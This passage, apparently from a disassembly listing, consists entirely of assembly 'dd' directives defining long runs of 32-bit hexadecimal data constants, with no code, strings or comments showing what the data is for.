4B6DFA6Bh, 1478B050h dd 49F0B1C5h, 0C211349Dh, 6703DA87h, 97717078h, 0ACA00ED2h dd 408ACF38h, 8255D9B0h, 0DCD3440h, 2E18DCA4h, 943096BDh dd 0A7AC80CEh, 0F530B604h, 4C8ECD9Dh, 3452FB84h, 337B9BC0h dd 0A58A2936h, 0B8EB80E0h, 729EE51Dh, 0DC10AB29h, 0C0A20100h dd 4A6A65AAh, 720438Dh, 5900E82Dh, 0F820E449h, 0B06E4F37h dd 0A18C00CEh, 0EFBC9D63h, 7891E6B0h, 7318D3D9h, 11286F70h dd 0A0AD9029h, 9C60C8C4h, 2107FA1Eh, 8F4B84AEh, 9DB291C0h dd 26ECAC81h, 12AC1142h, 7A708C36h, 15A9988h, 690B3911h dd 208D5B70h, 0DE28AA20h, 0AC52CCFCh, 30AEB228h, 360917D4h dd 4B2C7A86h, 2A89F8E8h, 0F98200DAh, 94F81E58h, 41E0C570h dd 0F83FB62Ch, 7EF03561h, 778C60h, 0FFE696B5h, 0A78B380Eh dd 0FC24AD2Eh, 0EAFC8401h, 504AAAC6h, 0E1C0AFC8h, 72B8F270h dd 55EACEh, 693FC871h, 0C591225h, 9F7E7601h, 0F611FAFDh dd 8C9C8448h, 12B2374Ch, 1CCB4E0Dh, 116F9803h, 64C20903h dd 2485BC4Eh, 3460AF44h, 0AC0E5448h, 89062E96h, 648C0217h dd 4B417FEEh, 2292E5CCh, 1822300h, 0D081135h, 544ADEh dd 48116D96h, 1D40682h, 70CE7D8Ah, 82C57EAAh, 80B10BF8h dd 6988807Ch, 80A0395Ah, 0D8A62118h, 6F5C0312h, 60EE6061h dd 58A917D4h, 0DFB000E9h, 0FF004AC6h, 0FA2C625Dh, 929E24D1h dd 3E380014h, 0BC31F21Ch, 0B9C0015Ch, 1F69CCF3h, 0BFB30410h dd 0D26CD590h, 0B0C48C08h, 11F7710Fh, 88F36018h, 0AC7F23h dd 5F6906EFh, 29A2E70h, 54345C29h, 0A060FD03h, 0F839AC17h dd 5034AD4h, 0E2BC68ABh, 0BCB6E4AEh, 700C823h, 0B36B3E4Bh dd 65D0B1B9h, 250C02Ch, 0EA01D6C6h, 158246Eh, 0B0706D87h dd 22632ECDh, 166404BCh, 1D5C0B70h, 80309180h, 0F44E8F3Eh dd 7E6092E5h, 34FC240Bh, 0DC4B02F0h, 6502FD66h, 79DC51B4h dd 608D1825h, 6C6A54F7h, 0B0C0B1B2h, 0BF54AA6h, 3F60025Eh dd 9713876Eh, 72AC28C1h, 31BBF2BCh, 0C2F820E7h, 8B535A0Ch dd 7FA1EBh, 5B3A669h, 722C9216h, 0A54FAC98h, 0BA3F7003h dd 0F043F06Dh, 98712DFh, 0B268C441h, 3026F2D4h, 0A2146E84h dd 5989FE6h, 5EAE68F8h, 90FD20CDh, 5FC8A04Bh, 0AE8055C0h dd 4FEC11h, 39F6515Ch, 130581FBh, 0D092141Dh, 0DE5F744h dd 29738E00h, 60888DF8h, 6DA64899h, 0B9E00178h, 77DFCD11h dd 0A3C44487h, 21240128h, 0EA7D0A01h, 9A843422h, 0BD2D2081h dd 620B12E2h, 23E83A57h, 918901CDh, 0DD77D4ACh, 1E588272h dd 84F744D6h, 90B20BCCh, 0C52F8E1h, 0EC0F5E7h, 50BC0F0Bh dd 0CC96381h, 4F97E0C8h, 0FDCCF901h, 1E940917h, 711424F4h dd 4C694805h, 20C501C9h, 4960C8C4h, 0E2E00E0Ah, 0A4BC750Fh dd 0A55DA969h, 24A2AC8Ch, 6830C2E2h, 2407009Ah, 0B2E66482h dd 654F8663h, 0A2913840h, 375E7133h, 903980F8h, 0EEEBCDC5h dd 94AA2300h, 0B0B97415h, 91032608h, 5A465E40h, 0E216AC00h dd 0E5818569h, 0BFDA4A00h, 5E68FAD6h, 0D6389C03h, 1B24471Fh dd 84FCC00h, 2AD1AA3Ah, 73E48ADCh, 1C623E1Dh, 0A55C7D01h dd 72021AFAh, 30CBF278h, 1101185Ah, 657FDF91h, 0E6E076F8h dd 24F4EA0h, 887BD458h, 2693D0D3h, 5EC8248Bh, 3EF279C0h dd 877501B5h, 0C1D6F96h, 72B18098h, 0E22BA939h, 0FD951EB0h dd 0C834177h, 501B2D46h, 58EAC4E8h, 26EFB100h, 0F7E97C2h dd 0DC76006Ch, 6792FD4h, 0E3002A60h, 98A7569Dh, 0B4035B9Ch dd 0C8465C30h, 0C16DFE1Fh, 28047E27h, 0E5ECC89Bh, 6516AC94h dd 0E0C15834h, 0FF00A125h, 0B03E4720h, 88205A93h, 14FCE0h dd 34CAE804h, 0A4F75569h, 74190301h, 0BD426C6Bh, 0A33AB041h dd 8C14E820h, 0F1E99F04h, 2628F6Ah, 67E088A0h, 0AD1F01E9h dd 7941DE11h, 0A2123AE3h, 26BC606Ch, 1057258Ch, 0A19CACA3h dd 3BD6DD98h, 4E1BAB1Fh, 0FC44C00h, 5B15575h, 6E68D53Ch dd 0B484811Fh, 1074299Dh, 5B0DCC96h, 9E81858Bh, 8121FD90h dd 6B3D4B06h, 81AC23ABh, 0CC4B0E35h, 7ABD5BC8h, 52F47BB8h dd 0CA05B4D4h, 8E9F924Ah, 0C05C8814h, 0AD2EE977h, 0BB3BC7F6h dd 0CF6B18CCh, 9A93F8F9h, 5DE014h, 9A6C17CAh, 96A72F26h dd 591E700Ah, 0ED74B0E9h, 51278118h, 7C8A58F2h, 0E8AF129Ch dd 0FA2442C0h, 7823C7A1h, 6BE106A8h, 182FBD5Ah, 886DC607h dd 42D1127Eh, 8C38C770h, 64202C27h, 88025E4Ch, 8A08A09h dd 0CBC802FAh, 0E02C4D60h, 76F659Eh, 0F212CC00h, 0C45908DCh dd 9F7E0571h, 5DB81EEDh, 48A06594h, 96F5C614h, 9F3F6679h dd 1CE401E2h, 62F802BBh, 0FC9C9BD8h, 945A0083h, 82E0F550h dd 6F74D210h, 0D4871A18h, 0F4F7B8h, 8B60F323h, 3BFC3D80h dd 713C272h, 848258D9h, 94CC89DCh, 693F1688h, 8174CCE1h dd 465E74BEh, 789000D3h, 0F960370Ch, 372039Eh, 0FCE969A7h dd 28CA31E9h, 8C59BC54h, 4924F800h, 40FD3B41h, 0D82E18C2h dd 47A0999Eh, 0F1FFAB03h, 0EE8CA3h, 30A88B59h, 0E30F38F9h dd 31751A04h, 9CE29EACh, 2D061E04h, 1280E725h, 98A4DCCCh dd 12C0303Fh, 0D8770338h, 0F0923B98h, 8B43AAEAh, 12C0C9C8h dd 4C6B414Bh, 91E0200Bh, 0E5004B19h, 84F977FAh, 13CA36h dd 6A24D8B2h, 0D1767CCBh, 18FD7206h, 84B1390Eh, 1106F864h dd 0C194E48Dh, 2234FF38h, 10033180h, 0C2F86913h, 0E440F0A2h dd 5460C4D6h, 0B5BD3F20h, 5250B6E0h, 0B850345Bh, 0AE0901E5h dd 959207D8h, 8723ECA1h dd 0FCF7C402h, 95AD7BBCh, 8EBB912Ch, 0DB3580A3h, 9E9F1637h dd 1095CB80h, 0A180D391h, 0F80D0E1Dh, 857D9CA6h, 2E628B00h dd 2881A911h, 21F11778h, 80A81DC9h, 795D8A3h, 2CE8C46Bh dd 3E202E60h, 733BC1h, 9118EE29h, 3859E31Ch, 0F3110100h dd 78BB5B08h, 37FE0094h, 2F02348Fh, 8AE60B46h, 0FF8BC100h dd 0FEE73BB9h, 0EAF1B2Ah, 0BEE152DBh, 80C6D9ABh, 812F1118h dd 60956098h, 69D19880h, 0A03171Dh, 72643DC4h, 0F80830C5h dd 1D7131B9h, 9DC610Eh, 7AE6099h, 5C1A3Eh, 0ECE4DB24h dd 12541926h, 1DCE6106h, 0F1BCAAh, 0B8FEE21Bh, 31DD7E6Ch dd 0A2BE4600h, 99E678Fh, 0F181CF03h, 25FDD703h, 48D83F8Bh dd 6B01E526h, 7A513B77h, 298182A9h, 886FAAD5h, 1C72D0ABh dd 47632D03h, 74CFB0Bh, 6A291DE8h, 9138CD53h, 6C8099E8h dd 1C0A121Dh, 0FF223243h, 1D74D600h, 0CD9B8AA9h, 303900BBh dd 10E5FBD3h, 8C197A65h, 8188510Bh, 604B6BF0h, 0BD9D682Eh dd 3184C25h, 7F88472Bh, 0D2B328A8h, 0F1E606B8h, 3865F66Eh dd 3CD82800h, 1E45C94Ah, 0FF521925h, 800B08D5h, 4A040121h dd 3E546BCEh, 0F8518808h, 3A9BFFDCh, 60639BFh, 317BDA36h dd 0BB0050F2h, 1A29BD20h, 506004B6h, 0F028545Ch, 0C35B00D1h dd 2B07AB4Eh, 0B814A6C4h, 1090A791h, 81DD66CFh, 0C0A181Dh dd 0C004228Bh, 4F1D6ED4h, 0AA5C00B2h, 0B7EAB485h, 7F015FE6h dd 505B7857h, 7C23C182h, 0C73029B2h, 0C6B0C5h, 97459224h dd 43EC4EE1h, 0A8A381A2h, 0D9004C58h, 0FA82B3D0h, 7F08BE0Eh dd 0CE5C3C26h, 46223101h, 41555736h, 44CD77CAh, 0A25583A0h dd 74A9823h, 623C3BC0h, 0C845C47Bh, 25983F83h, 0ED80E133h dd 0DA08F03Ah, 604452FFh, 21137F40h, 32198200h, 0A6CFED7Fh dd 0F9992E37h, 0F760C27h, 88DFD3C2h, 0C1B13AC3h, 0D873A7h dd 708BC2BCh, 0DF4137CEh, 178DE40Ah, 0D020D478h, 81609A21h dd 0A191D67h, 88C61814h, 1D006FCBh, 0B6DFEAC9h, 5C59739Fh dd 5A67AAD6h, 0A821F98Bh, 0DDDA8612h, 685021F5h, 61F1602Ah dd 1B743E5h, 87A50D6h, 9FA73BB3h, 0BA14D5B8h, 70E23A0h dd 64383BCCh, 80A8679Bh, 425A7CBh, 4324E4FDh, 0E80CCF3h dd 885AD80Bh, 787E05FEh, 5E5D5927h, 0B01680A8h, 0F548DF72h dd 0B8B58519h, 21805908h, 2DB00E76h, 17EA653Fh, 79386448h dd 0F1C4FE10h, 0E96A9300h, 0ECAA27B9h, 0E537EF00h, 3AFDDB1Ch dd 0A6FEC71h, 4B2E6362h, 3BC34164h, 1873D933h, 9AD08B32h dd 0D0002725h, 2655A57Dh, 14E81ED5h, 90A0FBACh, 17CED301h dd 34C3D802h, 0E06E67C0h, 3474C061h, 9B3FDBh, 0FB99D610h dd 903E64C2h, 0C8259C1Dh, 4A42CD40h, 54679871h, 520F88Fh dd 0CE756A07h, 6CA9C07Bh, 0E23CCD73h, 80284DF1h, 45D44A3Fh dd 0D6448C06h, 4A270BBEh, 6600E929h, 8243056Ch, 0C14BDA13h dd 307A5022h, 0D5114A38h, 0D0883E45h, 4A20A580h, 77DEFBh dd 0B4FE0FD7h, 0C4BB71C5h, 12FA897Bh, 30F42951h, 0C3403F58h dd 0C6FA331Fh, 0E1058C19h, 0AF0F530Ah, 178A6891h, 0B0C21BEh dd 0DD18C610h, 0DAEAFB0Fh, 883A9250h, 50068C73h, 0DC400B0Dh dd 53D10650h, 68645425h, 4336C11Eh, 811C49h, 0C3B80324h dd 2A820CA6h, 80492537h, 0D405A40Ch, 3EF11159h, 0F08FE882h dd 80B8E4Bh, 20CC9C00h, 54923659h, 0B0FDC309h, 5E202F25h dd 0D2E1DA0Fh, 72C52C00h, 0E3BF4E6h, 927967D5h, 0BD384052h dd 865AE155h, 71CC8050h, 0C39588Ch, 0CCD64515h, 0B8800A88h dd 0B6594A21h, 0E1320172h, 1801776h, 934465CEh, 3840B8E8h dd 5B44D003h, 3930F883h, 50A4A2DBh, 0D8980AD5h, 0C9330194h dd 405C5FB7h, 0E41EF0D0h, 9D855405h, 94069B2Bh, 7740503Eh dd 0BBAB3043h, 0E4279958h, 0FB00AA75h, 0DFEF0D58h, 3E84BF33h dd 0CC137A5Fh, 0C8344729h, 5971B043h, 720EBA31h, 111DD7h dd 3AB9524Fh, 2B180073h, 9BFE2C02h, 49022E19h, 3BD760DBh dd 0E460E528h, 934360C6h, 74F70379h, 7E675315h, 2B28E800h dd 1BE0018Ah, 2AF50F8Eh, 9E606578h, 0EE400835h, 68963735h dd 321F3481h, 0F0870303h, 792AFC68h, 0C6698507h, 53965EFBh dd 6C800220h, 0E67A21D1h, 2F23209Ch, 0CCF0469h, 89309087h dd 0E240821h, 5889202Eh, 462C2067h, 0BE5FA5h, 89E98330h dd 5553D3BCh, 0A8A4100h, 0B24D443Bh, 28D65C2Dh, 40E26785h dd 9A6FFE84h, 490032A1h, 30D2960Ch, 1F79593Eh, 5AA3D54h dd 0CBE2F402h, 0C0F4C858h, 0CC5B47FAh, 59E02C63h, 28B11C2Ah dd 5E34AE70h, 9E01C646h, 1FA83C34h, 7C6020EDh, 2A186248h dd 9298A842h, 77E4471Fh, 67B87E02h, 1A6864FAh, 786FE936h dd 80443067h, 0E4071A60h, 0D3E2C902h, 6849C7FBh, 489C0318h dd 0AB011C65h, 19F8B3Ch, 88B02406h, 35023402h, 810A8C0Fh dd 61129B38h, 30F63861h, 3D4D3BD5h, 0B19C4C0Ch, 53308CCAh dd 96B5019Ah, 110F5CF9h, 21D1912Fh, 68B01080h, 458CB8DFh dd 0B048F48Dh, 7D62F01h, 0ED0C6AEBh, 114897F2h, 0A49A8132h dd 0B16E566Dh, 0AE3AF811h, 9C0BBD90h, 21F53BBBh, 201F3384h dd 0EC530064h, 0BC408209h, 5182B673h, 18FE7940h, 750D001Ah dd 6D3FC1F5h, 1602E177h, 0FFF7E079h, 62A449FEh, 0A8F7EC62h dd 0DFE879C0h, 27FB3053h, 0AABD99B8h, 90EE472Ch, 74D6467Ch dd 0F3D23302h, 0E04E2EC8h, 0BA376B3Ch, 3158FA80h, 0F030C135h dd 1339817Ch, 3062E072h, 20238C72h, 69B01D01h, 0E10DFh dd 31B0356Bh, 205B4C14h, 2D074D68h, 50777EE9h, 0C406D0A5h dd 0A130C018h, 0C050FC97h, 0A1F772h, 0C8639152h, 0E561B030h dd 8A8F5313h, 2268DC14h, 6BDD0D51h, 301883CFh, 7F673663h dd 0AB133318h, 0AAE0123Ah, 84D8D3F8h, 0D44F1AF9h, 0FE056BA7h dd 0A9160843h, 0D4099495h, 0AC88179h, 9038831h, 14C9D4C2h dd 0B9D82863h, 0FFEA30EAh, 0C7184490h, 39050DCh, 0D671C537h dd 47B84FC6h, 0C8A0F769h, 0A458ABB5h, 0D1CAFCB0h, 7011FC28h dd 0CF4A3A80h, 448CCE45h, 2200BFD3h, 0D8C4AA4Ah, 21EA8D4h dd 9940A770h, 68A4C3AFh, 3BCF600Fh, 8C93FC3Fh, 0EC02944h dd 60E725A6h, 628154E0h, 49146DE0h, 91980B08h, 41850CCh dd 0B019048Ch, 0CEF0DF1Dh, 119F0074h, 64FD05B0h, 0D34229A1h dd 267280F8h, 86F17929h, 0BCFF7F05h, 0CC1068AAh, 0D8127238h dd 9014F39Bh, 84E91FCCh, 80403B14h, 0DF66B012h, 8F448C28h dd 0B04A016Ah, 5E9D83FCh, 8A27FD7Ch, 34140951h, 0EC5742h dd 678555AAh, 0A0A8E47Ah, 744A3CF2h, 30202029h, 72028C9Bh dd 6C0A1C1Dh, 426C7132h, 30607A30h, 2C009F61h, 50FE7FCCh dd 170824Dh, 2F578DFh, 9FF2BFE0h, 39306788h, 60400B0Ah dd 7CB880E9h, 2B4A5B08h, 0EF4A5C01h, 0E4512DAAh, 9FFCFFA9h dd 957D16h, 0ABF0C310h, 0B6A2EDD3h, 8517B514h, 8C8DBCA0h dd 0CEB63C00h, 0E233752h, 14FC0053h, 5967F826h, 6248BA6Ah dd 8C2FBC38h, 94047F7Ch, 0EC3F16FCh, 64389889h, 18CD1BCh dd 0AB837279h, 0DC873959h, 5C040812h, 0F38B5E8Fh, 58B23891h dd 0A183AC42h, 3831A0D8h, 0EDC9ECh, 0EE231E0Fh, 0DA24EB09h dd 0F17BBA12h, 0EAE43C44h, 13C00608h, 48DF73B0h, 69E07CE0h dd 0B00B04Bh, 0F4238DE6h, 48C78BDFh, 0E8241C28h, 5EBC2464h dd 0EE044C46h, 81E43159h, 30F5D018h, 0F1266C6Ch, 0E8A4BC54h dd 9D18FB76h, 80070D3Eh dd 2D3F4B4Eh, 1379221Ah, 1294DC7Bh, 0DFC8CB5Ch, 1FAA00E3h dd 82FD4172h, 0F02BB914h, 0B470BA8h, 50E0A25Bh, 79405936h dd 18518D1h, 0DE97A27Ah, 40808743h, 29022BF0h, 0BC9C6173h dd 0A3AD00DCh, 6C536918h, 8D496099h, 0CEC00014h, 70350991h dd 0F34F3A5Bh, 711850BCh, 0E4DF6186h, 0E53CAA0Fh, 90168987h dd 20E32A2Ch, 0BC03EE5Fh, 7BDD3612h, 0F8984CF7h, 1D8CDCE8h dd 0C7FDBD56h, 70FB01A1h, 0E95B0971h, 6353370Bh, 5F4401D7h dd 6C6328FFh, 843034E2h, 0B42D5877h, 17AC8B28h, 0A12023Ch dd 40586FE8h, 45C84A33h, 0D7226646h, 4A3BBA07h, 0E0500AE8h dd 23421A5h, 0AA3E2602h, 0A8457E84h, 0D9638EE4h, 0CCBD1FF9h dd 5C01477Ah, 0F3E1B287h, 3571A878h, 50C0D84Ch, 3F98CAFDh dd 450917A5h, 0D8972890h, 6380F991h, 0D09BC0F3h, 0CC472B00h dd 0CD920807h, 885B2D45h, 40994483h, 372509D8h, 5DC7982h dd 80A5F43Bh, 0D299E0FBh, 0B5F71D00h, 90355642h, 2C090D74h dd 7370FA5Fh, 302EA298h, 0EC00CF1Ch, 0E280B2E5h, 1370944h dd 2DBABD9Ah, 82F283A8h, 855C1A50h, 0EFA4C186h, 0DFF0CA05h dd 863C0F63h, 21D0F627h, 0C4C349D5h, 28E07345h, 0F88E84A1h dd 4258C78h, 0F43808DFh, 3B18FB74h, 0A684B303h, 819CBC3Fh dd 4830D60Fh, 56864264h, 6987B06Ch, 484BFAE5h, 0C00E94D2h dd 0C273EF4Ch, 10412544h, 46818A5h, 0FC0A161Dh, 20FA323Dh dd 8A1D7032h, 0ECFD3007h, 2D2406CCh, 8B227CA2h, 0A9F9AA30h dd 7A3CE488h, 0CFB82739h, 8190480h, 9405E541h, 0D1335B0Dh dd 406264A4h, 44173A2Dh, 3808F23Fh, 1D73C3A6h, 18740A89h dd 7B3788FDh, 0C3DA3FEh, 0B80B003Fh, 865E883h, 0FF700740h dd 427AA69Bh, 0ACA4385Eh, 36C0A0F0h, 0C8DAAB2Ch, 6404456Bh dd 781460F4h, 593B6A0Bh, 0F9A53B46h, 617474A4h, 24204A3Eh dd 5874962Eh, 4A0406BBh, 0E673A9E3h, 79169680h, 50B3E2h dd 2CAEB6DEh, 0CE01B7ADh, 0BA8EF30Dh, 16EC4961h, 4E79B825h dd 53E840E5h, 112EB1F9h, 55173C70h, 0C1F835Ch, 14488890h dd 1F8CFDE8h, 40A46B26h, 0BD4C706Dh, 5096AF20h, 0A7DB7780h dd 8F3FB6h, 0CE61F4D6h, 0EFDF7F68h, 2DA4F509h, 0FFD068D0h dd 5B4907B3h, 7660F6C0h, 630019C7h, 0F0751CEFh, 4DEC376h dd 0E00B0A07h, 2D1881D2h, 2B5BE01Eh, 670B40B6h, 0F4848031h dd 0C083AA11h, 2502F589h, 0A30743FDh, 984FE4D8h, 0C8B2B0A0h dd 4690A263h, 0F484644h, 0CB3A3BC6h, 0EA01C6Bh, 0D02599C1h dd 0F65524C0h, 1F06169Bh, 0C283BB0Ah, 30CA0090h, 0CFD47E10h dd 39C7260Eh, 0E19CB436h, 8064BC60h, 0D57E033Fh, 507F11F3h dd 8A95B800h, 6043A19Fh, 82790178h, 670B41D7h, 43B2A3Ah dd 5EF68C7Fh, 0B7CFBC02h, 0F0EBE079h, 0EC4D4CA8h, 0B00C5220h dd 59F24159h, 0E8DF0F21h, 459DB5CCh, 84BC2343h, 2298E490h dd 0B0170E8Ch, 3816DF6Fh, 0F017568h, 0CFF68AB0h, 53E45A97h dd 40A095AFh, 7F7AD1DDh, 0BFCCA402h, 4079181Eh, 0B6DF9Ch dd 0D3A38981h, 644475FBh, 11409D95h, 0B5B980F9h, 9536F3C0h dd 0A6C58000h, 0F8C28907h, 0F17BF701h, 18FF7984h, 0FDD7007Eh dd 2F700A8Ch, 0CF268B3Fh, 6101B8D1h, 8E67A471h, 738551B9h dd 808BF7B1h, 15212C7Ah, 8C7E0900h, 0D30CBD7h, 16D43EB0h dd 8B84B113h, 639F3Ch, 19D79130h, 0B31C74EAh, 0F0E86C58h dd 1C38CC24h, 2C7B4740h, 4708A297h, 61F44450h, 4C83994h dd 35CD5AE9h, 0F20CA254h, 0E8413083h, 9303FA02h, 630CFBDBh dd 91EFF070h, 0C970B4D2h, 0C6110897h, 86245B80h, 74A5ED0Ch dd 960D764h, 35090FC5h, 90AF33EDh, 740B1D2Ch, 9D9F0031h dd 4856C4A4h, 6E1F503Eh, 40571E5h, 883EA0DCh, 0FB035A23h dd 802BEAF2h, 0B30FF26h, 8C67E2D0h, 8D89A00Eh, 0A94C2C58h dd 0B76C8360h, 90959C63h, 6900646Fh, 68380B21h, 0E305D82Bh dd 5ADCB1EFh, 0A817988Fh, 0A1B4300Ah, 731A4DFAh, 59288FE0h dd 18347990h, 6BF2F89Bh, 0D8E4597Ch, 0FDA05300h, 6326DD7h dd 82CE2DCBh, 37137802h, 9E140309h, 77DAF880h, 0A4531615h dd 0D67C8839h, 27B80288h, 388FFB6Fh, 0B52F2FD1h, 0B874897Ch dd 5EC0540Eh, 0B8021CEh, 12E8C239h, 708F878Bh, 3FE39Fh dd 8F32C01Fh, 4AAFD1FFh, 87CD8F2h, 641F5B17h, 46CF9C21h dd 1F1FC43h, 0D3660421h, 3C2FA353h, 0BCF458DCh, 0C0978CFFh dd 12E34E17h, 0E4FC0886h, 0FD005D04h, 61DFA47Ch, 144775EBh dd 0FC440C5Bh, 79320700h, 0FE28BD9Ch, 4B3DBC74h, 0E5DF8F5Ch dd 0E02F529Dh, 800FB23h, 25F87035h, 0D22D1196h, 0C0905CA4h dd 2018A59Bh, 1FD70261h, 94E4DF11h, 4160D846h, 0F81B1AECh dd 75670192h, 62E48FABh, 84808FD7h, 8522643Ch, 3B10A0ADh dd 7CB812F4h, 0FF23103Ah, 0B2BCE01h, 0EDD4F8B1h, 0C4EC53F0h dd 33FDA2h, 0DC3A56F3h, 0F2B8526Ch, 2A80425h, 52F8679Ch dd 0FB0CA0BCh, 0EFFC80A1h, 0F9C45CA5h, 0A06A1067h, 0C719525Ah dd 675147B4h, 4D58BAECh, 0DA00545Eh, 0DF95645Fh, 0FA146352h dd 48444D67h, 7D1E1C5Ch, 0C6EC668Bh, 538B200Ch, 127927h dd 0E4E1208Ch, 5E74B6EAh, 32028E46h, 0C2866290h, 4CD068C0h dd 0A50A372Fh, 54E09B98h, 0FFE918E8h, 201389C0h, 700D1F6h dd 0BF9248A8h, 2D70664h, 0ACD56B30h, 204060F9h, 202227Eh dd 3CEF75EDh, 37B8481Ch, 29FB276Ah, 0FD648467h, 955BD60h dd 928D4B0Fh, 0EA48C07Ah, 0C2CD1404h, 322F8A61h, 3B078E3Dh dd 25009D0Fh, 8848340Fh, 0B426890h, 524205Eh, 17017F8Fh dd 0C8770F1Ah, 0B0505F58h, 916A5BBh, 9FABE5EEh, 29AB501h dd 0B88C6863h, 8C1D8C2Fh, 0EE40B32Ch, 804D70ABh, 77E91C2Dh dd 0E64E0134h, 6987E537h, 0F0431018h, 38734705h, 0B8B8F05Bh dd 582F944Eh, 0EC00F823h, 0D0963311h, 0C4F30616h, 59685347h dd 0F1505231h, 0D47266C8h, 0C65F220Eh, 12A69A00h, 0BD0B85B6h dd 0E8E166B9h, 4C08178h, 120217A9h, 0B7C8867h, 9201C601h dd 74E57B11h, 1CCE2A30h, 0B0C846DBh, 9454970h, 0D766A209h dd 1D800B3Dh, 9F8F1110h, 7A244D41h, 59FA20DFh, 629C7BE0h dd 0D9CCD9B8h, 0D2188Dh, 74DDBE8Ah, 0B0EA611h, 68E08060h dd 9E19045h, 0F17FC579h, 80441467h, 7C0BE60h, 0E4D20C04h dd 0A8A07F33h, 28FA2F5Ah, 2C91F89Dh, 3B7E9480h, 5CE6CAACh dd 2D8F5009h, 0AF5090A8h, 37D32216h, 5C63B83Ah, 105C48B8h dd 10158ABh, 363B7CF4h, 0AD1C40DFh, 5E402FA6h, 97750566h dd 56457FE1h, 0C850CB80h, 97E7C094h, 0FB0B4AF3h, 89CBCC76h dd 538C6801h, 6C3001C8h, 4A894F55h, 0E823B5h, 0E3DA64B9h dd 9639A0Fh, 18C91D94h, 8B1018D0h, 9B0BBDCBh, 8C822A47h dd 80713644h, 56182FD9h, 19230600h, 4D711317h, 0DABD0982h dd 0D0F9F91Fh, 5318DCD9h, 0FC7B357Eh, 0D15D2E0Bh, 920180D9h dd 2AE12544h, 0E8943401h, 3468F3B2h, 0CE7E8C0Eh, 4CE7255Fh dd 1608E44h, 0EB01050Dh, 72E844CFh, 0EFCC805Fh, 53DF1529h dd 0AA1E9C6Bh, 0F64064FDh, 32CFA900h, 3ADC1FAEh, 6107022Fh dd 0DB4F5337h, 2127040h, 2864F726h, 0B8231D40h, 7C4938D6h dd 0FEC78E0Bh, 9797A046h, 83C49100h, 0F4BA38E5h, 0B4B36C83h dd 3BA87F01h, 81782096h, 36FF0B10h, 676A9B04h, 88FCCEFDh dd 6213C333h, 0D1EF4980h, 0A41A0300h, 393CD399h, 1BE01802h dd 7212708Fh, 4FA41697h dd 81490FBh, 21C1EF53h, 230F6BDDh, 359C9060h, 0B619580Bh dd 0D10CE0B0h, 0F3A024Ah, 5B9C11C3h, 8794489h, 0A6188F79h dd 0FD52381Eh, 0D89FAABFh, 0C5EB2CBEh, 672F64D4h, 6505BC00h dd 0E6A83B6Ah, 0FD70205Ah, 0E83E0236h, 2F9A8059h, 0ADD3295Dh dd 33AB12F9h, 0F1C0A00Bh, 0D0D23612h, 534DACC0h, 902A60A8h dd 0BD61E8DEh, 0DBE00109h, 13D4D883h, 1228048Ch, 0F08CF660h dd 2C0DAE7h, 7FFD3E1Fh, 0C706F16h, 0C024794Bh, 0CF088C09h dd 326F6218h, 538D36C0h, 0FC657F2Eh, 20BF6B89h, 59408810h dd 597C69E4h, 0F9E48C65h, 1A12FB60h, 8CD3F41Eh, 67E95398h dd 49946089h, 0DF243CEAh, 43D180C1h, 0E821C2C8h, 0AFB81C29h dd 0A93B5D01h, 5956194Bh, 2F489AECh, 309D782Bh, 0E7874C91h dd 0AC68FBFFh, 0C01EA6Dh, 841E2BC9h, 10FDBE06h, 11CA60h dd 0D9FAD189h, 0D7977835h, 0E0B7E225h, 5D5EE514h, 801D9CE4h dd 88518967h, 6020187Ah, 0EB3CA0CDh, 434D8637h, 3177468h dd 0E84B5CD3h, 90C11DAh, 11094E8h, 0AD0C157Eh, 248BAAB8h dd 0C9007304h, 0B692A236h, 26F2487Fh, 2DF80B0Fh, 333918C4h dd 2544037h, 28D45DC4h, 0BCD11911h, 0CF83D800h, 5FC7E01h dd 0DD7C97D0h, 454C234h, 0D701E8E4h, 588532FDh, 44DC8491h dd 27F3256Bh, 0ED68C42Dh, 798C0121h, 670A9429h, 9DE0F040h dd 0FBD3C122h, 6F5F8ADEh, 53DD6C60h, 613240DBh, 56E3DF00h dd 5CE97091h, 4E39766Ch, 23902F88h, 838D01F8h, 0EC7A4A4Fh dd 0FF1F7CCCh, 20410E54h, 9FDA8666h, 6E3FB825h, 82C8007Ch dd 3EE8DF1Fh, 20D0E05Ch, 3201F0B3h, 0EF871713h, 403A8454h dd 0A4099B98h, 37FAC891h, 530C8550h, 5E1380Ah, 0AA43DC2Dh dd 0DA58903h, 63F01C20h, 0C53B7908h, 0ED2017A0h, 578FDA00h dd 5B452709h, 0BD375BDh, 82F06CA3h, 8A1FBC82h, 0DCBDE625h dd 78081A19h, 6060899Eh, 11E89F65h, 21C58083h, 90A5B4h dd 0BA763523h, 0A307FC37h, 0C5E66A25h, 670AC410h, 0D01A9532h dd 29421258h, 326C37B7h, 0A4D88354h, 95BE1F00h, 43F07ACCh dd 99B7017Bh, 1D740246h, 64A0C333h, 4026EEE1h, 467434AEh dd 9A6901FAh, 0E1968DB0h, 104EF061h, 99CADD88h, 0E8BB0B00h dd 0B78F9F0h, 958F8BDCh, 807298ABh, 29B16A00h, 9F9B573Bh dd 564F003Eh, 31E56589h, 0C990B43h, 0EBE07F07h, 8A78411Bh dd 4080D1BEh, 5208C3E2h, 6227541Dh, 6344A05Ch, 195D27Ah dd 0ED173184h, 80E167A6h, 76A5A9E9h, 3BDBA1Dh, 7EB6043Ch dd 0AF9B607Ch, 5B954CD0h, 0BC9CA371h, 473B978Bh, 60C66498h dd 7F362444h, 493C91E1h, 4C646CC5h, 6BCCC064h, 5B7A0199h dd 0F169F765h, 80DCC4DBh, 0F31FBC1Eh, 4A01C8EFh, 0FBDF3729h dd 54349836h, 80072445h, 6B8BC1D8h, 33643183h, 163622A4h dd 3DBFB30Ah, 0B2487278h, 8FDF30FDh, 0D0D1360Eh, 93525F85h dd 0B4379CF0h, 878F446Ch, 0B0F36BE8h, 65AB58h, 9B847FE3h dd 5EA6542Ch, 70821C5Eh, 4B686603h, 0C0F8DAE6h, 55C978D6h dd 84FC4C1Fh, 488A0901h, 44465975h, 34B00154h, 6042F2FEh dd 634FC6EAh, 0A7C0209Ah, 0E9F987FEh, 0CCE5A93Fh, 0AF14131Ah dd 0CEDF1831h, 545C43D4h, 7DE466h, 0FCF3CDFDh, 0E7BD963h dd 0A1564500h, 0C0BF554Ah, 95E6B6h, 0C7914130h, 4B33E571h dd 3C658492h, 74C867A8h, 0AC370854h, 74264FCFh, 0E0022760h dd 7C04BD5Bh, 147CA812h, 4707009h, 0A9184736h, 7B08C8h dd 754C9574h, 1DE96F86h, 256C0C02h, 0FE19BE73h, 0B42B4074h dd 757429C2h, 67C6B007h, 60E11B4Fh, 0E83016CCh, 739E8850h dd 